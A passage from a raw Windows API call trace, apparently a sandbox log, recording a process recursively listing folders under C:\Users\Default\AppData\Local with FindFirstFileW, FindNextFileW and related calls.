lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.259] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0219.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0219.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0219.259] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local", lpFilePart=0x0) returned 0x1e [0219.259] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*" (normalized: "c:\\users\\default\\appdata\\local\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.261] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.261] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0219.262] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0219.262] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0219.262] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0219.262] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0219.262] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0219.262] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0219.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0219.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0219.263] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local", lpFilePart=0x0) returned 0x1e [0219.264] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*" (normalized: "c:\\users\\default\\appdata\\local\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.265] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.265] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0219.265] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0219.265] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0219.265] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0219.265] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0219.265] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.266] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0219.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0219.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0219.267] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x2f [0219.267] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*" (normalized: "c:\\users\\default\\appdata\\local\\application data\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0219.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d7d0) returned 1 [0219.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0219.271] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x2f [0219.271] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*" (normalized: "c:\\users\\default\\appdata\\local\\application data\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0219.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d7d0) returned 1 [0219.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0219.275] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\History", lpFilePart=0x0) returned 0x26 [0219.276] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*" (normalized: "c:\\users\\default\\appdata\\local\\history\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0219.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d7d0) returned 1 [0219.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0219.280] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\History", lpFilePart=0x0) returned 0x26 [0219.280] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*" (normalized: "c:\\users\\default\\appdata\\local\\history\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0219.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d7d0) returned 1 [0219.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0219.284] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x28 [0219.284] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.285] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.285] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0219.286] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0219.286] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0219.286] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0219.286] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0219.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0219.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0219.286] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x28 [0219.286] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.287] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.287] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0219.287] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0219.287] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0219.287] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.287] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0219.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0219.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0219.288] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x3d [0219.288] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\inputpersonalization\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.289] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.289] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0219.289] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 0 [0219.289] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0219.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0219.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 